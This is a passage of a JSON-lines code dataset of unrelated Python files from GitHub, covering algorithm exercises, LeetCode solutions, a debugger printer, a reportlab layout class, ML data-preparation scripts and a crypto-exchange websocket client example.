+{"seq_id":"23797889312","text":"__all__ = [\"print_output\"]\n\n\ndef diff_to_str(diff):\n    if diff[\"type\"] == \"set\":\n        message = \"set to {to}\"\n    elif diff[\"type\"] == \"del\":\n        message = \"was removed (was {from})\"\n    elif diff[\"type\"] == \"add\":\n        return \"{} added {{{}}}\".format(diff[\"name\"], \", \".join(diff[\"added\"]))\n    elif diff[\"type\"] == \"remove\":\n        return \"{} removed {{{}}}\".format(diff[\"name\"], \", \".join(diff[\"removed\"]))\n    elif diff[\"type\"] == \"change\":\n        message = \"changed from {from} to {to}\"\n\n    return \" \".join((diff[\"name\"], message.format(**diff)))\n\n\ndef join(sequence):\n    items = [j for i in sequence for j in (i, \", \")]\n    items.pop()\n\n    if len(items) > 2:\n        items[-2] = \" and \"\n\n    return \"\".join(items)\n\n\ndef range_to_str(range):\n    types = join(range[\"types\"])\n\n    if range[\"type\"] == \"real\":\n        return \"{} between {min} and {max}\".format(types, **range)\n\n    return types\n\n\ndef print_step(step, timing=False, report=True):\n    lineno, count, total = step[\"lineno\"], step[\"count\"], step[\"total\"]\n\n    if timing:\n        print(\n            \"executed line {} {} time{}\".format(lineno, count, \"s\" if count > 1 else \"\")\n        )\n        print(\"  total: {} secs\".format(total))\n        print(\"  avg: {} secs\".format(total / count))\n\n    for diff in step[\"diffs\"]:\n        print(\"line {}: {}\".format(lineno, diff_to_str(diff)))\n\n    if report and step[\"type\"] == \"return\":\n        code_name = step[\"code_name\"]\n\n        for frame_value in step[\"frame_values\"]:\n            print(\n                \"{}: {} in {}\".format(\n                    frame_value[\"name\"], range_to_str(frame_value[\"range\"]), code_name\n                )\n            )\n\n            for lineno, value in frame_value[\"values\"]:\n                print(\"  set to {} on line {}\".format(value, lineno))\n\n\ndef print_output(output, timing=False, report=True):\n    for step in output[\"steps\"]:\n        print_step(step, timing=timing, report=report)\n\n    if timing:\n        print(\"total running time: {}\".format(output[\"running_time\"]))\n\n        for line in output[\"lines\"]:\n            print(\n                \"line {} was run {} time{}\".format(\n                    line[\"lineno\"], line[\"count\"], \"s\" if line[\"count\"] > 1 else \"\"\n                )\n            )\n\n    if report:\n        for var in output[\"vars\"]:\n            print(\n                \"{}: {} in {}\".format(\n                    var[\"name\"], range_to_str(var[\"range\"]), var[\"function\"],\n                )\n            )\n            print(\"  initial value: {}\".format(var[\"initial\"]))\n            print(\"  final value: {}\".format(var[\"final\"]))\n","repo_name":"cppio/debugger","sub_path":"debugger/output.py","file_name":"output.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14210417371","text":"\n\ndef exam1(data,name,number):\n    data.append((name,number))\n    for step in range(len(data)):\n        max_idx = step\n        for i in range(step+1, len(data)):\n            if data[i][1]> data[max_idx][1]:\n                max_idx = i\n        (data[step], data[max_idx]) = (data[max_idx], data[step])\n    return data\n\ndef exam2(array):\n    k=0\n    for step in range(len(array)):\n        min_idx = step\n\n        for i in range(step+1, len(array)):\n            if array[i] < array[min_idx]:\n                min_idx = i\n        if step != min_idx:\n            (array[step], array[min_idx]) =(array[min_idx], array[step])\n            k +=1\n    return k\n\ndef exam3(mass):\n    weight = [0, 6, 4, 3, 5]\n    money =  [0, 13, 8, 6, 12]\n\n    array = [[0 for _ in range(mass+1)]for _ in range(5)]\n    for row in range(1, 5):\n        for col in range(1, mass+1):\n            if weight[row]> col:\n                array[row][col] = array[row-1][col]\n            else:\n                value1 = money[row] + array[row-1][col-weight[row]]\n                value2 = array[row-1][col]\n                array[row][col] = max(value1, value2)\n    return array[4][mass]\n\ndef exam4(n,k):\n    number = [ str(i) for i in range(1,n+1)]\n    current = k-1\n\n    for i in range(n-1):\n        if len(number) == 1:\n            return number[0]\n\n        number[current]= '0'\n        for j in range(k):\n            current = (current+1)%n\n            while( number[current] =='0'):\n                current = (current+1)%n\n\n    for i in range(n):\n        if number[i] !='0':\n            return int(number[i])\n\ndef exam5(array,x):\n    low = 0\n    high = len(array)-1\n    k = 0\n    while low <= high:\n        mid = low +(high-low+1)//2\n        k +=1\n        if array[mid] == x:\n            return k\n        elif array[mid] < x:\n            low = mid+1\n        elif array[mid]>x:\n            high = mid -1\n    return -1\n\ndef exam6(str1, str2):\n#초기화\n    dash = [[0 for _ in range(len(str1))] for _ in range(len(str2))]\n    for i in range(len(str1)):\n        dash[0][i] = i\n    for j in range(len(str2)):\n        dash[j][0] = j\n#행렬계산\n    for j in range(1, len(str2)):\n        for i in range(1, len(str1)):\n            maintain_replace = dash[j-1][i-1] + (0 if(str1[i-1] == str2[j-1]) else 1) #대각선 전의 값을참조\n            insert = dash[j-1][i] +1 # 바로 위의 값을 참조해서 +1, 삽입이라서 현재 칼럼에 위치\n            delete = dash[j][i-1] +1 # 왼쪽 값을 참조해서 +1, 삭제라서 다음칼럼 위치\n            dash[j][i] =min(maintain_replace, insert, delete) # 네가지 변경점중 가장 최소의 값을 적어줌\n\n    return dash[-1][-1] # 마지막값이 최소변경값","repo_name":"tomatojams/python_project","sub_path":"자료구조/202220058 기말리포트.py","file_name":"202220058 기말리포트.py","file_ext":"py","file_size_in_byte":2693,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"21380849185","text":"from fortnum import FortnumDescriptor\nfrom reportlab.platypus import Paragraph, Image\n\nfrom flexbox.options import AlignItems\nfrom flexbox.flex import FlexItem\n\nfrom PIL import Image as PILImage\n\n\nclass FlexFlowable(FlexItem):\n    flowable = None\n\n    vertical_align = FortnumDescriptor(\"vertical_align\", AlignItems, default=AlignItems.FlexCenter)\n    horizontal_align = FortnumDescriptor(\"horizontal_align\", AlignItems, default=AlignItems.FlexCenter)\n\n    def __init__(self, flowable, vertical_align=None, horizontal_align=None, **kwargs):\n        super().__init__(**kwargs)\n\n        self.flowable = flowable\n        self.vertical_align = vertical_align or self.vertical_align\n        self.horizontal_align = horizontal_align or self.horizontal_align\n\n    def wrap_content(self, avail_width, avail_height):\n        return self.flowable.wrap(avail_width, avail_height)\n\n    def draw_content(self, avail_width, avail_height, requested_width, requested_height):\n        self.flowable.drawOn(\n            self.canv,\n            self.vertical_align.point(requested_width, avail_width),\n            self.horizontal_align.point(requested_height, avail_height)\n        )\n\n\nclass FlexParagraph(FlexFlowable):\n    def __init__(self, text, style, **kwargs):\n        super().__init__(\n            Paragraph(text, style),\n            **kwargs\n        )\n\n\nclass FlexImage(FlexFlowable):\n    def __init__(self, image, **kwargs):\n        self.image = image\n\n        with PILImage.open(self.image) as img:\n            img_width, img_height = img.size\n            self.aspect = img_height / img_width\n\n        super().__init__(None, **kwargs)\n\n    def wrap_content(self, avail_width, avail_height):\n        height = avail_height\n        width = height / self.aspect\n\n        if width > avail_width:\n            height = height * avail_width / width\n            width = avail_width\n\n        self.flowable = Image(self.image, width, height)\n\n        return width, height\n","repo_name":"SverkerSbrg/reportlab-flexbox","sub_path":"flexbox/flex_flowable.py","file_name":"flex_flowable.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"21005284828","text":"\"\"\"\nInternal helper class for a simple periodic task.\nbase in https://medium.com/greedygame-engineering/an-elegant-way-to-run-periodic-tasks-in-python-61b7c477b679\n\"\"\"\n\nfrom threading import Event, Thread\nfrom time import time\nfrom typing import Callable\n\nfrom fbclient.utils import log\n\n\nclass RepeatableTask(Thread):\n\n    def __init__(self, name: str, interval: float, callable: Callable, args=(), kwargs=None):\n        super().__init__(name=name, daemon=True)\n        self._interval = interval\n        self._callable = callable\n        self._stop = Event()\n        self._args = args\n        self._kwargs = {} if kwargs is None else kwargs\n\n    def stop(self):\n        log.info(\"FB Python SDK: %s repeatable task is stopping...\" % self.name)\n        self._stop.set()\n\n    def run(self):\n        log.debug(\"%s repeatable task is starting...\" % self.name)\n        stopped = self._stop.is_set()\n        while not stopped:\n            next_time = time() + self._interval\n            try:\n                self._callable(*self._args, **self._kwargs)\n            except Exception as e:\n                log.exception(\"FB Python SDK: unexpected exception on %s repeatable task: %s\" % (self.name, str(e)))\n            delay = next_time - time()\n            stopped = self._stop.wait(delay) if delay > 0 else self._stop.is_set()\n","repo_name":"featbit/featbit-python-sdk","sub_path":"fbclient/utils/repeatable_task.py","file_name":"repeatable_task.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"16104357502","text":"class Solution(object):\n    def groupAnagrams(self, strs):\n        \"\"\"\n        :type strs: List[str]\n        :rtype: List[List[str]]\n        \"\"\"\n        result ={}\n        for word in strs:\n            sorted_word = str(sorted(word))\n            if sorted_word in result:\n                result[sorted_word].append(word)\n            else:\n                result[sorted_word] = [word]\n        \n        return list(result.values())\n    \n    \ns = Solution()\nprint(s.groupAnagrams([\"eat\",\"tea\",\"tan\",\"ate\",\"nat\",\"bat\"]))","repo_name":"rengo540/problem-solving","sub_path":"Group Anagrams.py","file_name":"Group Anagrams.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19488302182","text":"#\n# @lc app=leetcode.cn id=496 lang=python3\n#\n# [496] 下一个更大元素 I\n#\n# https://leetcode-cn.com/problems/next-greater-element-i/description/\n#\n# algorithms\n# Easy (65.80%)\n# Likes:    288\n# Dislikes: 0\n# Total Accepted:    48.7K\n# Total Submissions: 74K\n# Testcase Example:  '[4,1,2]\\n[1,3,4,2]'\n#\n# 给定两个 没有重复元素 的数组 nums1 和 nums2 ，其中nums1 是 nums2 的子集。找到 nums1 中每个元素在 nums2\n# 中的下一个比其大的值。\n# \n# nums1 中数字 x 的下一个更大元素是指 x 在 nums2 中对应位置的右边的第一个比 x 大的元素。如果不存在，对应位置输出 -1 。\n# \n# \n# \n# 示例 1:\n# \n# 输入: nums1 = [4,1,2], nums2 = [1,3,4,2].\n# 输出: [-1,3,-1]\n# 解释:\n# ⁠   对于num1中的数字4，你无法在第二个数组中找到下一个更大的数字，因此输出 -1。\n# ⁠   对于num1中的数字1，第二个数组中数字1右边的下一个较大数字是 3。\n# ⁠   对于num1中的数字2，第二个数组中没有下一个更大的数字，因此输出 -1。\n# \n# 示例 2:\n# \n# 输入: nums1 = [2,4], nums2 = [1,2,3,4].\n# 输出: [3,-1]\n# 解释:\n# 对于 num1 中的数字 2 ，第二个数组中的下一个较大数字是 3 。\n# ⁠   对于 num1 中的数字 4 ，第二个数组中没有下一个更大的数字，因此输出 -1 。\n# \n# \n# \n# \n# 提示：\n# \n# \n# nums1和nums2中所有元素是唯一的。\n# nums1和nums2 的数组大小都不超过1000。\n# \n# \n#\n\n# @lc code=start\nclass Solution:\n    def nextGreaterElement(self, nums1: List[int], nums2: List[int]) -> List[int]:## 从左到右入栈\n        \n        dic,stack = {},[]\n        \n        for i in range(len(nums2)):\n            while stack and nums2[stack[-1]] <= nums2[i]:\n                dic[nums2[stack.pop()]] = nums2[i]\n                \n            stack.append(i)\n            \n        return [dic.get(num1,-1) for num1 in nums1]\n                \n            \n\n \n# @lc code=end\n#  def nextGreaterElement(self, nums1: List[int], nums2: List[int]) -> List[int]:## 暴力解法\n#         dic = dict()\n#         res = []\n        \n#         for i in range(len(nums2)):\n#             j = i + 1 \n#             while j < len(nums2) and nums2[j] <= nums2[i]:\n#                 j += 1 \n            \n#             if j < len(nums2) and nums2[j] > nums2[i]:\n#                 dic[nums2[i]] = nums2[j]\n                \n#         for num1 in nums1:\n#             res.append(dic[num1] if num1 in dic else -1)\n#         return res \n        \n            \n\n\n        # return res  \n    # def nextGreaterElement(self, nums1: List[int], nums2: List[int]) -> List[int]:## 暴力解法\n    #     dic = dict()\n\n        \n    #     for i in range(len(nums2)):\n    #         for j in range(i+1,len(nums2)):\n    #             if nums2[j] > nums2[i]:\n    #                 dic[nums2[i]] = nums2[j]\n    #                 break  \n    #     res = [dic.get(num1,-1) for num1 in nums1]\n        \n    #     return res \n    \n    \n    \n    # def nextGreaterElement(self, nums1: List[int], nums2: List[int]) -> List[int]:## 倒入单调栈法\n        # dic,stack = {},[]\n        # for i in range(len(nums2)-1,-1,-1):\n        #     while stack and nums2[stack[-1]] <= nums2[i]:\n        #         stack.pop() \n        #     if stack:\n        #         dic[nums2[i]] = nums2[stack[-1]]\n        #     stack.append(i) \n        \n        # return [dic.get(num,-1) for num in nums1]\n        \n        #思路:单调栈法用于左边或右边第一个比自己大或比自己小的数的寻找。找右边第一个比自己大的数，数组从\n        # 右向左倒入栈，保证栈顶到栈底是不单增的，因为栈底是最接近于右边的数的位置，如果新入栈的数大于\n        #栈顶的数，那pop()栈。这样可以保证整个栈是递减的","repo_name":"ZhengyangXu/Algorithm-Daily-Practice","sub_path":"题源分类/LeetCode/LeetCode日刷/python/496.下一个更大元素-i.py","file_name":"496.下一个更大元素-i.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6600794633","text":"import re\nimport IPython.ipapi\n\ndef node_completer(self, event):\n    from tree import Node\n    symbol = event.symbol\n    s = event.line\n    if symbol:\n        s = s[:-len(symbol)]\n    quote = \"\"\n    if s and s[-1] in [\"'\", '\"']:\n        quote = s[-1]\n        s = s[:-1]\n    base = (re.findall(r'(\\w+)\\[\\Z', s) or [None])[-1]\n\n    ## print \"symbol:\", symbol\n    ## print \"line:\", event.line\n    ## print \"s:\", s\n    ## print \"quote:\", quote\n    ## print \"base:\", base\n    ## print \"obj:\", self._ofind(base).get(\"obj\")\n\n    obj = None\n    if base:\n        obj = self._ofind(base).get(\"obj\")\n    if obj and isinstance(obj, Node):\n        completions = [\"'\"]\n        if quote:\n            completions = sorted([ x.label for x in obj.labeled() ])\n        return completions\n\n    raise IPython.ipapi.TryNext\n    \ndef set_node_completer():\n    IPython.ipapi.get().set_hook(\n        \"complete_command\", node_completer, re_key=r'\\[*'\n        )\n","repo_name":"rhr/ivy","sub_path":"ivy/ivy_completers.py","file_name":"ivy_completers.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"16"}
+{"seq_id":"28758082532","text":"\"\"\"\r\nComplete the method/function so that it converts dash/underscore delimited words into camel casing. \r\nThe first word within the output should be capitalized only if the original word was capitalized \r\n(known as Upper Camel Case, also often referred to as Pascal case).\r\n\r\nExamples\r\n\"the-stealth-warrior\" gets converted to \"theStealthWarrior\"\r\n\"The_Stealth_Warrior\" gets converted to \"TheStealthWarrior\"\r\n\"\"\"\r\n\r\ndef to_camel_case(text):\r\n    list = [c for c in text]\r\n\r\n    for c in range(len(list)):\r\n        if list[c] in ('_', '-'):  # hello_world\r\n            list[c + 1] = list[c + 1].upper()  # hello_World\r\n\r\n    return ''.join([c for c in list if c not in ('_', '-')])\r\n\r\n\r\nprint(to_camel_case('hello_world_My_name_is_Cheng'))\r\n","repo_name":"nmtrang/codewars","sub_path":"6kyu/Convert-string-to-camel-case.py","file_name":"Convert-string-to-camel-case.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11734232021","text":"import sys\nimport io\n\nINPUT = \"\"\"\\\n5\n1 2 3 4 5\n3\n3 4 1\n\"\"\"\n\nsys.stdin = io.StringIO(INPUT)\n\nn = int(input())\nS = list(map(int, input().split()))\nq = int(input())\nT = list(map(int, input().split()))\n\ndef binary_search(array: list[int], n: int, target: int):\n    left = 0\n    right = n\n\n    while right > left:\n        middle = (right + left) // 2\n        if target == array[middle]:\n            return True\n        elif target > array[middle]:\n            left = middle + 1\n        else:\n            right = middle\n\n    return False\n\ncount = 0\nfor t_value in T:\n    if binary_search(S, n, t_value):\n        count += 1\n\nassert count == 3","repo_name":"kuritaeiji/algorithm","sub_path":"search/binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"13399250652","text":"import pygame\nimport random\nfrom Bubble import Bubble\n\nclass Bicycle:\n    def __init__(self, posX, posY, directionX=random.uniform(1, 3)):\n        self.posX = posX\n        self.posY = posY\n        self.directionX = directionX\n        self.width = 73\n        self.height = 40\n        self.image = pygame.image.load(\"sprites/bicycle.png\")\n\n        if directionX < 0:\n            self.image = pygame.transform.flip(self.image, True, False)\n\n    def draw(self, screen):\n        screen.blit(self.image, (self.posX, self.posY))\n        \n    \n    def update(self, screen):\n        self.posX += self.directionX\n        screen_width, screen_height = screen.get_size()\n        if self.directionX > 0:\n            if self.posX + self.width + self.directionX > screen_width:\n                self.directionX = -random.uniform(1, 3)\n                self.image = pygame.transform.flip(self.image, True, False)\n        else:\n            if self.posX + self.directionX < 0:\n                self.directionX = random.uniform(1, 3)\n                self.image = pygame.transform.flip(self.image, True, False)\n\n","repo_name":"13hannes11/outyard-hackathon-rush-hour-co2","sub_path":"Bicycle.py","file_name":"Bicycle.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37063664663","text":"from django.core.urlresolvers import reverse\nfrom django.utils.translation import ungettext\n\n\ndef get_path_summary(path_obj):\n    \"\"\"Return a list of sentences to be displayed for each ``path_obj``.\"\"\"\n    goals_summary = []\n\n    # Build URL for getting more summary information for the current path.\n    url_path_summary_more = reverse('pootle-xhr-summary-more')\n\n    if path_obj.is_dir:\n        # Putting the next import at the top of the file causes circular\n        # import issues.\n        from pootle_tagging.models import Goal\n\n        pootle_path = path_obj.pootle_path\n        goal = Goal.get_most_important_incomplete_for_path(path_obj)\n\n        if goal is not None:\n            goal_words = goal.get_incomplete_words_in_path(path_obj)\n            goal_url = goal.get_translate_url_for_path(pootle_path,\n                                                       state='incomplete')\n            if goal_words > 0:\n                goals_summary.extend([\n                    u'<br /><a class=\"path-incomplete\" href=\"%(url)s\">' % {\n                            'url': goal_url,\n                        },\n                    ungettext(u'Next most important goal (%(num)d word left)',\n                              u'Next most important goal (%(num)d words left)',\n                              goal_words,\n                              {'num': goal_words, }),\n                ])\n\n    return {'is_dir': path_obj.is_dir,\n            'goals_summary': u''.join(goals_summary),\n            'summary_more_url': url_path_summary_more,\n            'translate_url': path_obj.get_translate_url(state='all'),\n            'incomplete_url': path_obj.get_translate_url(state='incomplete'),\n            'suggestions_url': path_obj.get_translate_url(state='suggestions')}\n\n\ndef stats_message_raw(version, total, translated, fuzzy):\n    \"\"\"Build a message of statistics used in VCS actions.\"\"\"\n    return \"%s: %d of %d strings translated (%d need review).\" % \\\n           (version, translated, total, fuzzy)\n","repo_name":"qdinar/pootle","sub_path":"pootle/apps/pootle_misc/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"18389614814","text":"from google_drive_downloader import GoogleDriveDownloader as gdd\ngdd.download_file_from_google_drive(file_id='0BxYys69jI14kYVM3aVhKS1VhRUk',\n                                    dest_path='/content/UTKFace.tar.gz')\nimport tarfile\ntar = tarfile.open(\"/content/UTKFace.tar.gz\")\ntar.extractall()\ntar.close()\nimport numpy as np\nlabel = np.ones((23708,2),int)\na = os.listdir('/content/UTKFace')\nfor i in range(len(a)):\n  b = str(a[i])\n  if(ord(b[1])==95):\n     label[i,0] = int(b[0])\n     label[i,1] = int(b[2])\n  elif(ord(b[2])==95):\n     label[i,0] = int(b[0:2])\n     label[i,1] = int(b[3])\n  elif(ord(b[3])==95):\n     label[i,0] = int(b[0:3])\n     label[i,1] = int(b[4])\na = np.array(a)\na = np.reshape(a,(23708,1))\nc = np.concatenate((a,label),axis = 1)\nimport pandas as pd\ndata = pd.DataFrame(c)\ndata.to_csv('label.csv')","repo_name":"sanchit2843/MLBasics","sub_path":"AgeDetect/Label_creation.py","file_name":"Label_creation.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"16"}
+{"seq_id":"71613359689","text":"import tensorflow as tf\nimport os\nimport time\nimport datetime\nimport argparse\nimport pandas as pd\nimport numpy as np\n\n#input example\n# %Run HW1_ex1_Group3.py --input dht.csv --output dhttf.tfrecord --normalize False\n\n#create argument parser\nparser = argparse.ArgumentParser(description='definition of parameters')\nparser.add_argument('--input', default = 'dht.csv',\n                    help='input csv file with recordings',\n                    required=True)\nparser.add_argument('--output', default = 'dhttf.tfrecord',\n                    help='output tfrecords file',\n            required=True)\nparser.add_argument('--normalize', default = False,\n                    help='flag for normalize input')\nargs = parser.parse_args()\n\n\n\n# Taking the parameters from command line\ninput_file = args.input\noutput_file = args.output\nflg_normalization = args.normalize\n\n# creating a table using pandas frame\nd_types={'date':str, 'time':str, 'temperature':int, 'humidity':int}\ncolumns = ['date', 'time', 'temperature', 'humidity']\ndf = pd.read_csv(input_file, sep=',', dtype=d_types, header=None, names=columns)\n\n\n#\"%d/%m/%Y %H:%M:%S\"\n#convert datetime format to posix \n\ndt = df['date']+ \" \" +df['time']\nfor e in range(len(dt)):\n    dt.loc[e] = time.mktime(datetime.datetime.strptime(dt.loc[e], \"%d/%m/%Y %H:%M:%S\").timetuple())\n\n#example output for timestamp\n#1635861286.0\n\n#create numpy array for tfrecord\nfilename = output_file #'/home/pi/WORK_DIR/homework1/dhttf.tfrecord'\nx1 = dt.to_numpy()\nx2 = df['temperature'].to_numpy()\nx3 = df['humidity'].to_numpy()\n\n#boundaries taken from datasheet\nmin_temp = 0\nmax_temp = 50\nmin_hum = 20\nmax_hum = 90\n\n#flag for normalization\nif (flg_normalization):\n    for i in range (len(x2)):\n        x2[i] = (x2[i] - min_temp) / (max_temp - min_temp)   #for temperature\n        x3[i] = (x3[i] - min_hum) / (max_hum - min_hum)    #for humidity\n\nwith tf.io.TFRecordWriter(filename) as writer:\n    for i in range(len(df)):\n        #create features for tfrecord\n        x1_feature = tf.train.Feature(float_list=tf.train.FloatList(value=[x1[i]]))\n        x2_feature = tf.train.Feature(float_list=tf.train.FloatList(value=[x2[i]]))\n        x3_feature = tf.train.Feature(float_list=tf.train.FloatList(value=[x3[i]]))\n        mapping = {'float': x1_feature,\n                    'float' : x2_feature,\n                    'float' : x3_feature}            \n        example = tf.train.Example(features=tf.train.Features(feature=mapping))\n        writer.write(example.SerializeToString())\n    \n    \n#print(\"CSV file size: \", str(os.path.getsize(input_file))+str(\"B\"))\n#print(\"TfRecord file size: \", str(os.path.getsize(output_file)) + str(\"B\"))\n        \nprint(str(os.path.getsize(output_file)) + str(\"B\"))\n\n","repo_name":"fabioeterno/ML4IoT","sub_path":"HW1/HW1_ex1_Group3.py","file_name":"HW1_ex1_Group3.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28275152213","text":"# Perform a normal binary search. Do division and modulus when accessing the elements of the matrix\n\nclass Solution:\n    def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:\n        \n        if not matrix or not matrix[0]:\n            return False\n        \n        m, n = len(matrix), len(matrix[0])\n        \n        low, high = 0, (m*n)-1\n        \n        while low<=high:\n            mid = (low+high)//2\n            \n            r = mid // n\n            c = mid % n\n            \n            if target==matrix[r][c]:\n                return True\n            elif target < matrix[r][c]:\n                high = mid - 1\n            else:\n                low = mid + 1\n                \n        return False","repo_name":"rohitpatwa/leetcode","sub_path":"74. Search a 2D Matrix.py","file_name":"74. Search a 2D Matrix.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"35021631865","text":"# built on the basis of:\n# https://scikit-learn.org/stable/tutorial/text_analytics/working_with_text_data.html\n\n# ---------- modify the following lines to adapt to your data\n\nfilename = '../tcat_trump_full.csv'\t\t\t\t\t\t# file to use for training and testing\ncol_text = 'text'\t\t\t\t\t\t\t\t\t\t# name of the text column\ncol_label = 'source'\t\t\t\t\t\t\t\t\t# name of the label column\ntype_classifier = 'svm'\t\t\t\t\t\t\t\t\t# use 'bayes' for the multinominal Bayes classifier and 'svm' for support vector machine\nuse_tfidf = False\t\t\t\t\t\t\t\t\t\t# whether to use tf*idf term weighting (depending on the data, one or the other may work better)\nfrequency_cutoff = 3\t\t\t\t\t\t\t\t\t# minimum frequency for word (and bigrams) to take into account\nno_features = 10\t\t\t\t\t\t\t\t\t\t# number of most important features to show\n\n\n\n# ---------- only modify what follows if you are confident\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import CountVectorizer,TfidfVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.metrics import accuracy_score\n\n\n# read data file\ndf = pd.read_csv(filename,delimiter=',',encoding='utf-8')\n\n# some info about the dataset, in particular column names\nprint(df.info(),'\\n\\n---')\n\n# data selection\nX = df[col_text].astype('U')\t\t\t# text column\nY = df[col_label].astype(str)\t\t\t# label column\n\n# clean out the HTML for twitter source variable\nY.replace(\"<.+?>\",\"\", regex=True, inplace=True)\n\n# transform categories into numbers\nle = LabelEncoder()\t\t\t\t\nY = le.fit_transform(Y)\n\n# cutting the dataset into training (85%) and testing (15%) data \nX_train,X_test,Y_train,Y_test = train_test_split(X,Y,test_size=0.15)\n\n# see: https://scikit-learn.org/stable/modules/generated/sklearn.feature_extraction.text.CountVectorizer.html\nif use_tfidf == False:\n\tcount_vect = CountVectorizer(ngram_range=(1,2),min_df=frequency_cutoff,stop_words='english')\t\t# 1- and 2-gram vectorizer\nelse:\n\tcount_vect = TfidfVectorizer(ngram_range=(1, 2),min_df=frequency_cutoff,stop_words='english')\t\t# 1- and 2-gram vectorizer with tf-idf transformation (depending on the data, this may work better or not)\n\n# vectorize and weigh training data \nX_train_counts = count_vect.fit_transform(X_train)\n\n# vectorize and weigh test data\nX_test_counts = count_vect.transform(X_test)\n\n# train the classifier\nif type_classifier == 'bayes':\n\tclf = MultinomialNB()\nelse:\n\tclf = SGDClassifier(loss='hinge',penalty='l2',alpha=1e-3,random_state=42,max_iter=50,tol=1e-3)\n\n# train the model\nclf.fit(X_train_counts,Y_train)\n\n# apply model to the test data\npredicted = clf.predict(X_test_counts)\n\n# create output to get an idea\ncounter = 0\nfor doc, category in zip(X_test, predicted):\n\tprint('\\n%r => %s' % (doc, le.classes_[category]))\n\tcounter += 1\n\tif(counter > 5):\n\t\tbreak;\n\n# calculate and print accuracy score\nprint('\\n---\\n\\naccuracy score: %r\\n\\n---' % accuracy_score(Y_test,predicted))\n\n# show most informative features (may fail if there are sparse labels)\nfeature_names = count_vect.get_feature_names()\n\nprint('\\nmost informative features (high to low):\\n')\n\n# two paths needed since binary and multiclass result structures are quite different\nif len(le.classes_) == 2:\n\tout = \"\\t\"\n\tfor label in le.classes_:\n\t\tout += '%-28s' % label\n\tprint(out)\n\tcoefs_with_fns = sorted(zip(clf.coef_[0], feature_names))\n\ttop = zip(coefs_with_fns[:no_features], coefs_with_fns[:-(no_features + 1):-1])\n\tfor (coef_1, fn_1), (coef_2, fn_2) in top:\n\t\tprint('\\t%.4f\\t%-15s\\t\\t%.4f\\t%-15s' % (coef_1, fn_1, coef_2, fn_2))\nelse:\n\tlongest = len(max(le.classes_, key=len))\n\tfor i, class_label in enumerate(le.classes_):\n\t\ttop = np.argsort(clf.coef_[i])[-no_features:]\n\t\tprint('{0: <{1}}'.format(class_label, longest),\" \".join(feature_names[j] for j in top[::-1]))","repo_name":"bernorieder/hybridclassification","sub_path":"bayes/sklearn_test.py","file_name":"sklearn_test.py","file_ext":"py","file_size_in_byte":3866,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"16"}
+{"seq_id":"34573375646","text":"\n#accpting the length of lsit form user\nfrom array import array\n\n\nn=int(input())\n# accepting the values of list from the user\nnum_list=map(int,input().split())\n\nnum_list=sorted(num_list,reverse=True)\n\nfor i in range(len(num_list)):\n        if(num_list[i]==num_list[0]):\n                continue\n        else:\n                print(\"Runner-Up in list is:\",num_list[i])\n                break\n\n\n\nprint(\"\\nId : 20CS074 \")\nprint(\"Name : Mandar Sanghavi\\n\")\n","repo_name":"20CS074Mandar/CSE259-Python-Practicals-","sub_path":"Practical-4/20CS074_Practic_4_PIP.py","file_name":"20CS074_Practic_4_PIP.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"75241261767","text":"import asyncio\nimport json\nimport logging\n\nfrom bpprosdk.websockets.subscriptions import OrderBookSubscription, Subscriptions\nfrom bpprosdk.websockets.websocket_client_advanced import AdvancedBitpandaProWebsocketClient\n\n\nasync def main():\n    when_msg_received = asyncio.get_event_loop().create_future()\n\n    async def handle_message(event: json):\n        LOG.info(\"%s\", event)\n        if event[\"type\"] == \"ORDER_BOOK_SNAPSHOT\":\n            when_msg_received.set_result(\"snapshot received...\")\n\n    bp_client = AdvancedBitpandaProWebsocketClient(\n        api_token=None,\n        wss_host=\"wss://streams.exchange.bitpanda.com\",\n        callback=handle_message\n    )\n\n    order_book_subscription = OrderBookSubscription([\"BTC_EUR\"])\n    # Order book subscription without ACCOUNT_HISTORY, TRADING & ORDERS channel\n    await bp_client.start_with(Subscriptions([order_book_subscription]), False)\n\n    await when_msg_received\n    LOG.info(\"asks book BTC_EUR: %s\", 